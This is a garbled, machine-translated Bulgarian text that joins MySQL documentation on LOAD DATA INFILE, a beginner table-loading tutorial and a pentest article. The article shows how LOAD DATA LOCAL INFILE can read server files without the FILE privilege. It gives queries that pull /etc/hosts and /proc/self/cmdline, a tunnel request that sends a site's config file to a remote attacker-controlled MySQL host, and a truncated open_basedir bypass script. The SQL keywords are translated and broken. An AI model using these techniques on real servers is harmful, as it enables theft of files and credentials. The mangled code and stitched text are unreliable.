LOAD DATA INFILE може да се използва и за четене на файлове от външни източници. Например файлът може да има полета, разделени със запетаи и оградени в двойни кавички. Ако редовете във файл са разделени със знак за нов ред, следният пример илюстрира какви трябва да бъдат зададени опциите за разделител на редове и колони, за да се зареди файлът:
mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ С ДАННИ "data.txt" В ТАБЛИЦАиме_на_таблица-> ПОЛЕТА, ЗАВЪРШВАНИ С 1,1, ОГРАЖДАНИ С "" -> РЕДОВЕ, ЗАВЪРШВАНИ С"н";
Всички опции, които указват разделители на редове и колони, могат да приемат празни низове (") като аргументи. Ако аргументите не са празни низове, тогава стойностите за FIELDS ENCLOSED BY и FIELDS ESCAPED BY ТРЯБВА да бъдат еднакви. Аргументи за FIELDS TERMINATED OPTIONS BY , РЕДОВЕТЕ, ЗАПОЧВАЩИ С И РЕДОВЕТЕ, ЗАВЪРШВАНИ С, могат да бъдат дълги повече от един знак. Например, за да пишете редове, разделени с връщане на каретка/подаване на ред, или за да четете файлове, съдържащи такива редове, укажете РЕДОВЕ, ЗАКРАЙВАНИ С "rn".
За да прочетете файл, разделен с редове с %% символи, можете да направите следното:
mysql> СЪЗДАВАЙТЕ МАСА вицове
-> (първичен ключ INT NOT NULL AUTO_INCREMENT, -> шега TEXT NOT NULL);

mysql> ЗАРЕДЕТЕ ДАННИ ВЪВ ФАЙЛ "/tmp/jokes,txf В ТАБЛИЦА вицове -> ПОЛЕТА, ЗАКРАЙНИ С "" -> РЕДОВЕ, ЗАКРАЙНИ С "\n%%\n" (шега);
FIELDS ENCLOSED BY контролира разделители на полета (кавички). В изхода (SELECT... INTO OUTFILE), ако пропуснете думата OPTIONALLY, всички полета ще бъдат заобиколени от знака, указан в ENCLOSED BY. Пример за такъв изход (с използване на запетая като разделител на полето) е показан по-долу:
"1", "низ", "100.20"
"2", "низ, съдържащ , запетая", "102.20"
"3","низ, съдържащ \" цитат","102.20"
"4","низ, съдържащ \", кавичка и запетая","102.20"
Ако посочите ПО ИЗБОР, знакът ENCLOSED BY се използва само за кавички на полета CHAR и VARCHAR:
1,"низ",100.20
3,"низ, съдържащ \" цитат",102.20
4,"низ, съдържащ \", кавички и запетая",102.20
Обърнете внимание, че срещанията на знака, указан в ENCLOSED BY в стойността на полето, се предшестват от знака, указан в ESCAPED BY. Освен това, ако зададете празна стойност за ESCAPED BY, е възможно да се генерира файл, който LOAD DATA INFILE няма да може да зареди правилно.
Например, ако знакът за отказ е оставен празен, изходът по-горе ще изглежда като по-долу. Лесно се вижда, че второто поле на четвъртия ред съдържа запетая след кавичка, която (по погрешка) ще се появи като разделител на полето.
1,"низ",100.20
2,"низ, съдържащ , запетая",102.20
3,"низ, съдържащ "кавичка",102.20
4,"низ, съдържащ ", кавичка и запетая",102.20
Докато пишете, символът ENCLOSED BY, ако присъства, се премахва от края на стойностите на полето. (Това е вярно, независимо дали думата ОПЦИОНАЛНО е посочена или не. Тази дума няма ефект при интерпретиране на входа.) Появата на символи ENCLOSED BY, предшествани от знак ESCAPED BY, се интерпретира като част от стойността на текущото поле.
Ако поле започва със знак ENCLOSED BY, екземплярите на този знак се интерпретират като завършващи стойността на полето само ако са последвани от поле или последователност TERMINATED BY. За да се избегне двусмислие, когато знакът ENCLOSED BY се появява в стойност на поле, знакът може да бъде дублиран и ще бъде интерпретиран като единичен екземпляр на знака. Например, ако е указано ENCLOSED BY "", кавичките се обработват както следва:
""ГОЛЕМИЯ"" шеф" -> "ГОЛЕМИЯ" шеф "ГОЛЕМИЯ" шеф -> "ГОЛЕМИЯ" шеф ""ГОЛЕМИЯ"" шеф -> "ГОЛЕМИЯ"" шеф
FIELDS ESCAPED BY контролира четенето или писането на специални знаци. Ако аргументът FIELDS ESCAPED BY не е празен, той се използва като префикс за следните знаци в изхода:

  1. ПОЛЕТА, ИЗБЯГАНИ ОТ символ.
  2. ПОЛЕТА, ОГРАДЕНИ ОТ символ.
  3. Първият ЗНАК от последователностите ПОЛЕТА, ЗАВЪРШВАНИ С И РЕДОВЕ, ЗАКРАЙВАЩИ С.
  4. ASCII 0 (който се записва след знака за отказ като ASCII "0", а не като нулев байт).

Ако символът FIELDS ESCAPED BY е празен, няма символи, предхождани от екраниращи знаци и NULL се извежда като NULL, а не като \N. Вероятно не е добра идея да оставите аргумента FIELDS ESCAPED BY празен, особено ако стойностите на вашите полета за данни съдържат някой от споменатите знаци.
При въвеждане, ако FIELDS ESCAPED BY не е празно, тогава когато този знак се появи в реда със стойност, той се премахва и следващият знак се чете буквално, като част от стойността на полето. Изключения са последователностите "0" или "N" (SYS-PAGE-CONTENT или \N, ако екраниращият знак е "\"). Тези последователности се интерпретират съответно като ASCII NUL (нулев байт) и NULL. Правилата за обработка на NULL са описани по-нататък в този раздел.
Повече информация за синтаксиса за анулиране "\" може да бъде намерена в раздела Литерални стойности
В някои случаи опциите, които контролират полета и редове, взаимодействат помежду си:

  1. Ако за LINES TERMINATED BY е указан празен низ и FIELDS TERMINATED BY не е празен, тогава LINES TERMINATED BY също е разделителят на редовете.
  2. АКО И ДВЕТЕ ПОЛЕТА, ЗАВЪРШВАНИ С И ПОЛЕТА, ОГРАДЕНИ С, са празни, ИЗПОЛЗВА СЕ фиксираният формат на низ (без разделители). Този формат не използва никакви разделители между полетата (но може да има разделител на редове). Вместо това стойностите на колоните се записват и четат с помощта на ширината на дисплея на колоната. Например, ако колона е декларирана като INT(7), стойностите на колоната се записват в поле от седем знака. Когато бъдат въведени, стойностите на колоните се извличат чрез четене на седем знака.

LINES TERMINATED BY все още се използва за разделяне на редове. Ако даден ред не съдържа всички полета, на останалите колони се присвояват техните стойности по подразбиране. Ако нямате терминатор на ред, неговата стойност трябва да бъде зададена на 1". В този случай текстовият файл трябва да съдържа всички полета на всеки ред. Форматът с фиксирана дължина на реда също се занимава с обработката на NULL стойности, както е описано Трябва да се отбележи, че дължината на формата с фиксирана дължина не работи, ако се използва многобайтов набор от символи (например Unicode).
Обработката на NULL стойности варира в зависимост от използваните опции FIELDS и LINES:

  1. Със стойностите по подразбиране FIELDS и LINES, NULL се записва като стойност на полето като \N за изход и същата стойност \N се чете като NULL за вход (приемайки, че символът ESCAPED BY е зададен на "\")-
  2. Ако FIELDS ENCLOSED BY не е празно, тогава поле, съдържащо буквалната дума NULL, се чете като NULL. Това е различно от случая, когато думата NULL е ограничена от ПОЛЕТА, ОГРАЖДАНИ ОТ знаци, където стойността се чете като низ "NULL".
  3. Ако FIELDS ESCAPED BY е празно, NULL се записва като думата NULL.
  • Във формат с фиксирана дължина на низа (което се случва, когато и двете ПОЛЕТА ТЕРМИНИРАНИ ОТ и ПОЛЕТА ОГРАЖДАНИ ОТ са празни), NULL се записва като празен низ. Обърнете внимание, че това кара стойностите NULL и празните редове в таблицата да бъдат неразличими, когато се записват във файл, тъй като и двете записват празни редове. Ако трябва да ги разграничите, избягвайте да използвате формат с фиксирана дължина на реда.
    По-долу са някои случаи, които не се поддържат от LOAD DATA INFILE:
    1. Фиксирана ДЪЛЖИНА на редове (ПОЛЕТА, ЗАВЪРШЕНИ С И ПОЛЕТА, ОГРАЖДАНИ С nyctye) при наличие на TEXT или BLOB колони.
    2. Ако посочите разделител, който е същият като префикса на друг, LOAD DATA INFILE може да не интерпретира правилно входния поток. Например следната опция ще създаде проблеми:

    ПОЛЕТА, ЗАКРАЙВАНИ С "" ОГРАДЕНИ С ""

    • Ако FIELDS ESCAPED BY е празно, стойностите на полетата, които включват знаците FIELDS ENCLOSED BY ИЛИ LINES TERMINATED BY, последвани от LINES TERMINATED BY CHARACTER, ще накарат LOAD DATA INFILE да спре да чете файла или реда твърде рано. Това ще се случи, защото LOAD DATA INFILE не може правилно да определи къде завършва стойността на полето или реда. Следващият пример зарежда всички колони на таблицата с лични данни: mysql> ЗАРЕДЕТЕ ВХОДЯЩИЯ ФАЙЛ ДАННИ "persondata.txt" В ТАБЛИЦА persondata;
      По подразбиране, освен ако не е предоставен списък с колони в края на оператора LOAD DATA INFILE, входният ред се очаква да съдържа полета за всяка колона в таблицата. Ако искате да заредите само някои от колоните на таблицата, посочете списък с колони:
      mysql> ЗАРЕДЕТЕ ВХОДЯЩ ФАЙЛ ДАННИ "persondata.txt1
      -> INTO TABLE лични данни(coll,col2,...);
      Трябва също да посочите списък с колони, ако редът на полетата във входния файл е различен от реда на колоните в таблицата. В противен случай MySQL няма да може да установи съпоставяне между полетата за въвеждане и колоните на таблицата.
      Ако входният файл има твърде малко полета в редове, тогава на липсващите колони ще бъдат присвоени стойности по подразбиране. Присвояването на стойности по подразбиране е описано в CREATE TABLE Синтаксис
      Стойностите на празните полета се интерпретират по различен начин от липсващите полета:
      1. За типове низове на колоната се присвоява празен низ.
      2. За числови типове на колоната се присвоява 0.
      3. За типове дата и час - колоната се задава на съответния тип
        "нулева" стойност. Вижте Типове дата и час

      Това са същите стойности, които са резултат от изрично присвояване на празен низ към колони от тези типове в оператор INSERT или UPDATE.
      Стойностите на колоната TIMESTAMP се задават на текущата дата и час само ако са зададени на NULL (т.е. \N) или ако колона от този тип е пропусната от списъка с полета, ако е предоставен списък с полета.

      LOAD DATA INFILE третира целия вход като входен низ, така че не можете да използвате числови стойности за колони ENUM или SET, както е позволено в изразите INSERT. Всички стойности ENUM или SET трябва да бъдат посочени като низове!
      Когато операторът LOAD DATA INFILE завърши, той връща информационен низ в следния формат:
      Записи: Изтрих: 0 Пропуснати: 0 Предупреждения: Относно
      Ако работите с C API, можете да получите информация за този оператор, като извикате функцията mysql_info().
      Предупрежденията, които се появяват при някои условия, са същите като тези, които се появяват при вмъкване на стойности с израза INSERT (вижте раздел 6.1.4), с изключение на това, че LOAD DATA INFILE също генерира предупреждения, че има твърде малко или твърде много полета. Предупрежденията не се съхраняват никъде, броят на предупрежденията може да се използва само като знак, че всичко е минало добре.
      От MySQL 4.1.1 можете да използвате SHOW WARNINGS, за да изброите първите max_error_count предупреждения като информация за КаквоЗареждането се обърка. Вижте Синтаксис на ПОКАЗВАНЕ НА ПРЕДУПРЕЖДЕНИЯ
      Преди MySQL 4.1.1 само броят на предупрежденията беше индикация, че натоварването не върви гладко. Ако получите предупреждение и искате да знаете точно защо се е появило, единственият начин да направите това е да използвате SELECT...INTO OUTFILE, за да изхвърлите таблицата в друг файл и да я сравните с оригиналния входен файл.

Навигация в урока: 1.1 Какво е MySQL? 1.2 Защо да използвам MySQL? 1.3 Колко стабилен е MySQL? 1.4 Колко големи могат да бъдат MySQL таблиците? 1.5 MySQL, MySQL AB, MySQL-MAX: какво е това? 1.6 На какви операционни системи работи MySQL? 1.7 Разпределения на MySQL 1.8 Подкани от командния ред на MySQL 2.1 Въведение в MySQL 2.2 Свързване към MySQL сървър 2.3 Въвеждане на заявки в MySQL 2.4 Създаване и използване на бази данни 2.5 Създаване на база данни на MySQL 2.6 Създаване на MySQL таблица 2.7 Зареждане на данни в MySQL таблица 2.8 Избиране на всички данни от MySQL таблица 2.9 Избиране на конкретни редове от MySQL таблица 2.10 Избиране на произволни колони от MySQL таблица 2.11 Сортиране на редове от MySQL таблица 2.12 Изчисляване на дати в MySQL таблица 2.13 Работа с NULL стойности в MySQL таблица 2.14 Съвпадение на шаблони. SQL шаблони. 2.15 Преброяване на редове в SQL шаблони. Функция COUNT() 2.16 Използване на множество таблици в една SQL заявка 2.17 Получаване на информация за MySQL бази данни и таблици 2.18 Примери за често срещани заявки в MySQL 2.19 Максимална стойност за MySQL колона 2.20 Кой ред съхранява максимума на определена MySQL колона 2.21 Максимум на колона в MySQL група 2.22 Кой MySQL ред съдържа максималната стойност за група? 2.23 Използване на потребителски променливи в MySQL 2.24 Използване на MySQL клиента в пакетен режим 3.1 Редове в MySQL 3.2 Числа в MySQL. Как да пиша числа в MySQL? 3.3 Шестнадесетични стойности в MySQL 3.4 NULL стойности в MySQL 3.5 Имена на бази данни, таблици, индекси, колони и псевдоними в MySQL 3.6 Чувствителност към главни и малки букви в имена на MySQL 3.7 Потребителски променливи в MySQL 3.8 Коментари в MySQL 3.9 Резервирани думи на MySQL 4.1 Архивиране на MySQL бази данни 4.2 BACKUP TABLE Синтаксис в MySQL 4.3 RESTORE TABLE Синтаксис в MySQL 4.4 CHECK TABLE Синтаксис в MySQL 4.5 REPAIR TABLE Синтаксис в MySQL 4.6 OPTIMIZE TABLE Синтаксис в MySQL 4.7 ANALYZE TABLE Синтаксис в MySQL 4.8 FLUSH Синтаксис в MySQL 4.9 K Синтаксис ILL в MySQL 4.10 SHOW Синтаксис MySQL 4.11 SHOW TABLE STATUS синтаксис в MySQL 4.12 SHOW STATUS синтаксис в MySQL 4.13 SHOW VARIABLES синтаксис в MySQL 4.14 back_log 4.15 character_set, character_sets, concurrent_inserts 4.16 connect_timeout, delay_key_write, delayed_ins ert_limit 4.17 delayed_insert_timeout, delayed_queue_ size, flush_time 4.18 have_raid, have_ssl, init_file 4.19 interactive_timeout, join_buffer_size, key_buffer_size 4.20 language, log_bin, long_query_time 4.21 small_case_table_names, max_allowed_packet, max_binlog_cache_size 4.22 max_connections, max_connect_errors, max_delayed_threads 4.23 max_join_size, max _sort_length, max_user_connections 4.24 max_tmp_tables, max_write_lock_count, myisam_sort_buffer_size 4.25 mуisam_max_extra_sоrt_file_size, myisam_max_sort_file_size, net_buffer_length 4.26 net_read_timeout, net_retry_count, net_ write_timeout 4.27 open_files_limit, port, record_buffer 4.28 protocol_version, record_rnd_buffer, query_buffer_size 4.29 safe_show_databases, skip_networking, skip_show_databases 4.30 socket, sort_buffer, skip_show_databases 4.31 thread_cache_size, tmp_table_size, изчакайте _timeout 4.32 SHOW PROCESSLIST синтаксис в MySQL 4.33 Syn taxi SHOW GRANTS в MySQL 4.34 Синтаксис SHOW CREATE TABLE в MySQL 4.35 Файл с опции my.cnf в MySQL 5.1 Типове колони в MySQL 5.2 Числови типове в MySQL 5.3 Типове дата и час в MySQL 5. 4 Y2K (2000) проблем и типове дата в MySQL 5.5 Типове DATETIME, DATE и TIMESTAMP в MySQL 5.6 Тип TIME в MySQL 5.7 Тип YEAR в MySQL 5.8 Типове низове CHAR и VARCHAR в MySQL 5.9 Типове низове BLOB и TEXT в MySQL 5.10 Тип низ ENUM в MySQL 5.11 Тип низ SET в MySQL 5.12 Избор на правилния тип за MySQL колона 5.13 Използване на типове колони от други СУБД за MySQL 5.14 Изисквания към паметта на MySQL колони 6.1 Функции за използване на MySQL в SELECT и WHERE 6.2 Нетипизиран оператор Скоби в MySQL 6.3 Нетипизирано сравнение оператор в MySQL 6.4 Логически оператори в MySQL 6.5 Разклонени функции в MySQL 6.6 Низови функции в MySQL

След като създадете таблицата, трябва да я попълните с данни. Инструкции и ВМЪКНЕТЕполезно за това. Ще говорим за това как работят малко по-късно, но засега нека помислим за данните, които трябва да бъдат въведени в таблицата. Как точно изглеждат?

Да приемем, че вашите записи за дивата природа могат да бъдат описани по-долу. Имайте предвид, че MySQL очаква дати във формат година-месец-ден, това може да е различно от това, с което сте свикнали. По-добре е да въведете годината като 4 цифри. MySQL има доста сложен алгоритъм за правилно обработване на двуцифрени годишни стойности, но засега не е необходимо да разбирате това, така че нека въведем данните недвусмислено. Всички данни за животни за нашия пример са показани в таблица 2.2:

Таблица 2.2. Данни за животни

име собственик видове секс раждане смърт
Пухкав Харолд котка f 1993-02-04
Пухкав Харолд котка f 1993-02-04
нокти Гуен котка м 1994-03-17
Бъфи Харолд куче f 1989-05-13
Зъб Бени куче м 1990-08-27
Боузър Даян куче м 1989-08-31 1995-07-29
Чирпи Гуен птица f 1998-09-11
Уислър Гуен птица 1997-12-09
тънък Бени змия м 1996-04-29

Тъй като започвате с празна таблица, най-лесният начин да я попълните е да създадете текстов файл, съдържащ ред за всяко от вашите животни, и след това да заредите съдържанието на файла в таблицата само с един израз.

Можете да създадете текстов файл pet.txt, съдържащ по един запис на ред, като стойностите са разделени с табулатори, посочени в реда, в който колоните са изброени в оператора CREATE TABLE. За липсващи стойности (като неизвестен пол или дати на смърт за животни, които все още са живи), можете да използвате NULL стойности. За да ги представите в текстов файл, използвайте етикет. Например, запис за птицата Whistler изглежда по следния начин (използвам интервал, за да обознача раздела):

Whistler Gwen bird 1997-12-09

За да заредите данни от текстовия файл pet.txt, намиращ се на локален компютър(клиент), а не на сървъра, в таблицата за домашни любимци, използвайте командата LOAD DATA:

Mysql> ЗАРЕДЕТЕ ДАННИ ЛОКАЛЕН INFILE "pet.txt" INTO TABLE pet;

Ключовите думи имат следното значение. INFILEдефинира низ, който е името на файла, от който трябва да се четат данни. Тъй като името е низ, то е затворено в кавички, в противен случай MySQL ще се опита да го оцени като числов израз. МЕСТЕНпоказва, че файлът трябва да се търси в клиентската система, а не в сървъра. В ТАБЛИЦАТАинструктира да се заредят данни в таблица, чието име е посочено непосредствено след думата TABLE (разделена с интервал).

Можете изрично да посочите разделителя на стойността на колоната и маркера за край на реда в израза, ако желаете, но стойностите по подразбиране са табулация и преместване на ред. Те са достатъчни за правилното четене на файла pet.txt и нямате нужда от повече в момента.

Когато искате да добавите нови записи един по един, инструкцията е полезна ВМЪКНЕТЕ. В най-простата му форма предоставяте стойности за всяка колона в реда, в който колоните са изброени в оператора CREATE TABLE. Да кажем, че Даян получи нов хамстер, Puffball. Можете да добавите нов запис, като използвате командата INSERT, нещо подобно:

Mysql> INSERT INTO pet
-> СТОЙНОСТИ ("Puffball", "Diane", "hamster", "f", "1999-03-30", "NULL");

Ключовите думи тук също не са особено сложни. INTO pet определя в коя маса влиза вложката. СТОЙНОСТИопределя списък с вмъкнати стойности за нов входна масата. Стойностите са изброени разделени със запетаи и всички взети заедно в скоби.

Имайте предвид, че низовете и стойността на датата са дефинирани като низове. Можете да вмъкнете NULL директно (не като низ), за да представите липсата на стойност.

Можете да видите от този пример, че зареждането директно в таблица ще изисква доста малко въвеждане. Инструкциите спестиха много време.

Описвам една доста често срещана ситуация. По време на пентеста беше получен достъп до phpMyAdmin на отдалечения хост, но не беше възможно достъпът до файловете през него. Прословутият флаг FILE_PRIV=no в настройките на MySQL daemon е виновен. Много хора се отказват в тази ситуация и смятат, че файловете на хоста вече не могат да се четат по този начин. Но не винаги е така.

ВНИМАНИЕ

Цялата информация е предоставена само за информационни цели. Нито редакторите, нито авторът носят отговорност за евентуални вреди, причинени от материалите на тази статия.

Прелюдия

Когато става въпрос за взаимодействието на MySQL DBMS с файловата система, те обикновено помнят:

  • функцията LOAD_FILE, която ви позволява да четете файлове на сървъра;
  • конструкцията SELECT ... INTO OUTFILE, която може да се използва за създаване на нови файлове.

Съответно, ако имате достъп до phpMyAdmin или друг клиент на отдалечена машина, тогава с голяма вероятност можете да получите достъп до файловата система чрез MySQL. Но само ако флагът FILE_PRIV=yes е зададен в настройките на демона, което не винаги е така. В този случай трябва да си спомним за друг оператор, много по-малко известен, но в същото време с доста мощна функционалност. Говоря за оператора LOAD DATA INFILE, чиито характеристики ще бъдат обсъдени в тази статия.

Взаимодействие между PHP и MySQL

PHP е най-често срещаният език за създаване на уеб приложения, така че си струва да разгледаме по-отблизо как той взаимодейства с базата данни.

В PHP4 клиентските библиотеки на MySQL бяха включени по подразбиране и включени в разпространението на PHP, така че по време на инсталацията можете да се откажете от използването на MySQL само като посочите опцията

Без-mysql.

PHP5 идва без клиентска библиотека. На *nix системи, PHP5 обикновено се компилира с библиотеката libmysqlclient, която вече е инсталирана на сървъра, просто чрез задаване на опцията

С-mysql=/usr

по време на сглобяването. Въпреки това, до версия 5.3, MySQL Client Library (libmysql) от ниско ниво се използва за взаимодействие с MySQL сървъра, интерфейс, който не е оптимизиран за комуникация с PHP приложения.

За версии на PHP 5.3 и по-нови е разработен MySQL Native Driver (mysqlnd), а в наскоро пуснатата версия на PHP 5.4 този драйвер се използва по подразбиране. Въпреки че вграденият MySQL драйвер е написан като разширение на PHP, важно е да се разбере, че той не предоставя нов API на PHP програмиста. API на базата данни MySQL за програмиста се предоставя от разширенията MySQL, mysqli и PDO_MYSQL. Тези разширения могат да използват вградения MySQL драйвер за комуникация с MySQL демона.

Използването на вградения MySQL драйвер предлага някои предимства пред MySQL клиентската библиотека: например, не е необходимо да инсталирате MySQL, за да изградите PHP или да използвате скриптове за бази данни. Повече информация за MySQL Native Driver и как се различава от libmysql можете да намерите в документацията.

Разширенията MySQL, mysqli и PDO_MYSQL могат да бъдат индивидуално конфигурирани да използват или libmysql, или mysqlnd. Например, за да конфигурирате MySQL разширението да използва MySQL Client Library и mysqli разширението да работи с MySQL Native Driver, трябва да посочите следните опции:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

ЗАРЕЖДАНЕ НА ДАННИ Синтаксис

Изявлението LOAD DATA, както се казва в документацията, чете редове от файл и ги зарежда в таблица с много висока скорост. Може да се използва с ключова дума LOCAL (налично в MySQL 3.22.6 и по-нови версии), което указва откъде ще се зареждат данните. Ако думата LOCAL липсва, тогава сървърът зарежда посочения файл в таблицата от своята локална машина, а не от машината на клиента. Тоест файлът няма да бъде прочетен от MySQL клиента, а от MySQL сървъра. Но тази операция отново изисква привилегията FILE (FILE_PRIV=флаг за да). Изпълнението на оператора в този случай може да се сравни с използването на функцията LOAD_FILE - с единствената разлика, че данните се зареждат в таблицата, а не се извеждат. По този начин използването на LOAD DATA INFILE за четене на файлове има смисъл само когато функцията LOAD_FILE не е налична, тоест на много стари версии на MySQL сървъра.

Но ако операторът се използва в следната форма: LOAD DATA LOCAL INFILE, тоест с помощта на думата LOCAL, тогава файлът се чете от клиентската програма (на машината на клиента) и се изпраща на сървъра, където се намира базата данни. В този случай привилегията FILE естествено не е необходима за достъп до файлове (тъй като всичко се случва на машината на клиента).

Разширения MySQL/mysqli/PDO_MySQL и командата LOAD DATA LOCAL

В MySQL разширението възможността за използване на LOCAL се контролира от директивата PHP_INI_SYSTEM mysql.allow_local_infile. По подразбиране тази директива има стойност 1 и следователно операторът, от който се нуждаем, обикновено е наличен. Освен това функцията mysql_connect ви позволява да активирате възможността да използвате LOAD DATA LOCAL, ако петият аргумент съдържа константата 128.

Когато разширението PDO_MySQL се използва за свързване към база данни, можем също така да активираме LOCAL поддръжка, като използваме PDO::MYSQL_ATTR_LOCAL_INFILE (цяло число) константа

$pdo = нов PDO("mysql:host=localhost;dbname=mydb", "user", "pass", array(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Но най-големите възможности за работа с оператора LOAD DATA се предоставят от разширението mysqli. Това разширение предоставя също директивата PHP_INI_SYSTEM mysqli.allow_local_infile, която регулира използването на LOCAL.

Ако връзката е направена чрез mysqli_real_connect, тогава с помощта на mysqli_options можем както да активираме, така и да деактивираме ЛОКАЛНА поддръжка. Освен това функцията mysqli_set_local_infile_handler е налична в това разширение, което ви позволява да регистрирате функция за обратно извикване, за да обработвате съдържанието на файлове, прочетени от оператора LOAD DATA LOCAL INFILE.

Четене на файлове

Внимателният читател вероятно вече се е досетил, че ако имаме акаунт в phpMyAdmin, тогава можем да четем произволни файлове, без да имаме привилегията FILE и дори да заобиколим ограниченията open_basedir. В края на краищата много често и клиентът (в този случай phpMyAdmin), и MySQL демонът се намират на една и съща машина. Въпреки ограниченията на политиката за сигурност на MySQL сървъра, можем да се възползваме от факта, че тази политика не се прилага за клиента и все още да четем файлове от системата, като ги натискаме в базата данни.

Алгоритъмът е прост. Достатъчно е да изпълните следните SQL заявки:

  1. Създаваме таблица, в която ще записваме съдържанието на файловете: CREATE TABLE temp(текст на съдържанието);
  2. Изпращаме съдържанието на файла в създадената таблица: LOAD DATA LOCAL INFILE "/etc/hosts" INTO TABLE temp ПОЛЕТА, ЗАВЪРШВАНИ С "eof" ЕСКАПИРАНИ С "" РЕДОВЕ, ЗАВЪРШВАНИ С "eof";

Готово. Съдържанието на файла /etc/hosts вече е във временната таблица. Трябва да четете двоични файлове? Няма проблем. Ако в първата стъпка създадем таблица като тази:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM;

тогава ще бъде възможно да се зареждат двоични файлове в него. Вярно е, че допълнителните битове ще бъдат добавени в края на файловете, но те могат да бъдат премахнати във всеки шестнадесетичен редактор. По този начин можете да изтеглите скриптове, защитени от IonCube/Zend/TrueCrypt/NuSphere от сървъра и да ги декодирате.

Друг пример за това как можете да използвате LOAD DATA LOCAL INFILE е да откриете пътя до конфигурацията на Apache. Това се прави по следния начин:

  1. Първо откриваме пътя до двоичния файл; за да направите това, прочетете /proc/self/cmdline, като използвате метода, описан по-горе.
  2. И след това четем директно двоичния файл, където търсим HTTPD_ROOT/SERVER_CONFIG_FILE.


Ясно е, че в тази ситуация phpMyAdmin скриптовете играят ролята на клиент за връзка с базата данни. И вместо phpMyAdmin можете да използвате всеки друг уеб интерфейс за работа с MySQL.

Например, можете да използвате скриптове за архивиране и възстановяване на базата данни. Още през 2007 г. френски хакер под псевдоним acidroot публикува експлойт, базиран на тази забележка и правещ възможно четенето на файлове от администраторския панел на phpBB<= 2.0.22.

Тунелът е удобен. Тунелът е опасен

При инсталиране на сложни уеб приложения често се изисква директен достъп до базата данни, например за първоначална конфигурация и настройка на скриптове. Ето защо в някои случаи е препоръчително да инсталирате прост скрипт на сървъра - така наречения MySQL Tunnel, който ви позволява да извършвате заявки към база данни с помощта на удобен клиент вместо тежкия phpMyAdmin.

Има доста тунели за работа с база данни, но всички те не са много разпространени. Може би един от най-известните е Macromedia Dream Weaver Server Scripts. Можете да видите изходния код на този скрипт.

Основната разлика между MySQL Tunnel и phpMyAdmin е необходимостта да въведете не само данните за вход и парола за базата данни, но и хоста, към който да се свържете. В същото време тунелите често остават активни, за всеки случай, никога не знаете какво още трябва да се коригира. Изглежда, че можете да ги използвате само ако имате акаунт в базата данни - тогава защо да се страхувате? Накратко, изглежда, че тунелът не представлява особена заплаха за сигурността на уеб сървъра. Но в действителност не всичко е толкова добро, колкото изглежда на пръв поглед.

Помислете за следната ситуация. Нека сървър A има уебсайт site.com с установен тунел http://site.com/_mmServerScripts/MMHTTPDB.php. Да приемем, че на сървър A е възможно да се използва LOAD DATA LOCAL (както беше обсъдено по-горе, това е, например, възможно с настройките по подразбиране). В този случай можем да вземем отдалечен MySQL сървър, чиито бази данни могат да бъдат достъпни отвсякъде и който също позволява използването на LOCAL, и да се свържем с този сървър чрез тунел. Данни за свързване към отдалечен MySQL сървър:

DB хост: xx.xx.xx.xxx DB име: name_remote_db DB потребител: our_user DB пропуск: our_pass

В тази ситуация сървър А ще играе ролята на клиент и следователно можем да изпращаме файлове от неговия хост към отдалечената база данни или, с други думи, да четем файлове. Със следната проста заявка:

Type=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&UserName=our_user&Password=our_pass&opCode=ExecuteSQL&SQL=ЗАРЕДЕТЕ ДАННИ ЛОКАЛЕН INFILE /path/to/script/setup_options.php" В ТАБЛИЦА tmp_tbl ПОЛЕТА, ПРЕКРАЩАНИ С "__eof __" БЯГСТВО ОТ " " ЛИНИИ, ПРЕКРАЩАНИ ОТ "__eof__"

Всъщност тази уязвимост е по-опасна от обикновеното четене на файлове: в крайна сметка тя ви позволява да четете конфигурационните файлове на скриптове, инсталирани на сървър A. Чрез същия тунел вече можете да получите директен достъп до базата данни, която управлява тези скриптове. Техниката, описана по-горе за използване на мускулни тунели, може да бъде леко обобщена и приложена при експлоатиране на уязвимостите на unserialize.


Клиентски сървър

За да разберете по-добре възможностите на LOAD DATA, е необходимо да запомните, че СУБД MySQL използва традиционна клиент-сървър архитектура. Когато работим с MySQL, всъщност работим с две програми:

  • Програма за сървър на база данни, разположена на компютъра, където се съхранява базата данни. Демонът mysqld слуша за клиентски заявки по мрежата и има достъп до съдържанието на базата данни, предоставяйки информацията, която клиентите изискват. Ако mysqld се стартира с опцията --local-infile=0, тогава LOCAL няма да работи;
  • Клиентската програма се свързва със сървъра и предава заявки към сървъра. Разпределението на MySQL DBMS включва няколко клиентски програми: конзолния клиент MySQL (най-често използваният), както и mysqldump, mysqladmin, mysqlshow, mysqlimport и т.н. И ако е необходимо, можете дори да създадете своя собствена клиентска програма, базирана на стандартната клиентска библиотека libmysql, която идва с MySQL DBMS.

Ако, когато използвате стандартния MySQL клиент, не можете да използвате оператора LOAD DATA LOCAL, тогава трябва да използвате ключа --local-infile:

Mysql --local-infile sampdb mysql> ЗАРЕДЕТЕ ДАННИ ЛОКАЛЕН INFILE "member.txt" INTO член на ТАБЛИЦА;

Или посочете опцията за клиента във файла /my.cnf:

Локален-infile=1

Важно е да се отбележи, че по подразбиране всички клиенти и библиотеки на MySQL са компилирани с опцията --enable-local-infile, за да се осигури съвместимост с MySQL 3.23.48 и по-стари версии, така че LOAD DATA LOCAL обикновено е наличен за стандартни клиенти. Командите към MySQL сървъра обаче се изпращат главно не от конзолата, а от скриптове, така че езиците за уеб разработка също имат клиенти за работа с базата данни, които могат да се различават по функционалност от стандартния MySQL клиент.

Разбира се, тази функция на оператора LOAD DATA може да бъде заплаха за сигурността на системата и следователно, започвайки с MySQL 3.23.49 и MySQL 4.0.2 (4.0.13 за Win), опцията LOCAL ще работи само ако и двата клиента и сървърът го активира.

Заобикаляне на ограниченията open_basedir

Използването на LOAD DATA доста често ви позволява да заобиколите ограниченията open_basedir. Това може да бъде полезно, ако например имаме достъп до директорията на един потребител на споделен хостинг, но искаме да четем скриптове от домашната директория на друг потребител. След това инсталирате този скрипт

1)); $e=$pdo->exec("ЗАРЕДЕТЕ ДАННИ ЛОКАЛЕН ВЪВ ФАЙЛ "./path/to/file" В ТАБЛИЦА тестови ПОЛЕТА, ЗАВЪРШВАНИ С "__eof__" ИЗБЯГАЩИ С "" РЕДОВЕ, ЗАВЪРШВАНИ С "__eof__""); $pdo = нула; ?>

Заключение

